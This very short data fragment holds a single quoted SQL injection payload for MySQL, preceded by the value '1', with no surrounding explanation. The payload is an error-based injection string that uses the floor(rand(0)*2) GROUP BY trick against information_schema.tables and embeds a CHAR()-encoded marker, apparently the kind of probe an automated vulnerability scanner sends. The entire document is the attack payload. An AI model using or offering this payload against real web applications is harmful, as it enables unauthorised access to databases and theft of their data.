1

"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(79),CHAR(57),CHAR(57),CHAR(78),CHAR(117),CHAR(116),CHAR(77),CHAR(78)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"